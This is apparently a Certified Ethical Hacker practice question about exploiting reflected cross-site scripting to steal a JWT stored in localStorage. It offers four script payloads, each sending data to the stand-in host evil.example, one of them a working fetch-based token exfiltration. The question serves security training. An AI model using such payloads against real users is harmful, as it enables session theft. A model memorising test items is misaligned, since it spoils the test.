Crucial Exams

Certified Ethical Hacker (CEH) Practice Question

While testing a single-page web application, you find that the search parameter is echoed back into the page without output encoding, allowing execution of arbitrary JavaScript. The application stores its JWT access token only in the browser's localStorage, not in cookies. What client-side payload would BEST let you steal the token in one step when a victim follows your poisoned search link?

  • <script>new Image().src='https://evil.example/collect?tok='+document.referrer</script>

  • <img src="https://evil.example/collect?tok='+document.cookie">

  • <script>document.location='https://evil.example/collect?tok='+sessionStorage.auth</script>

  • <script>fetch('https://evil.example/collect?tok='+localStorage.getItem('jwt'))</script>

Certified Ethical Hacker (CEH)
Web Application Hacking
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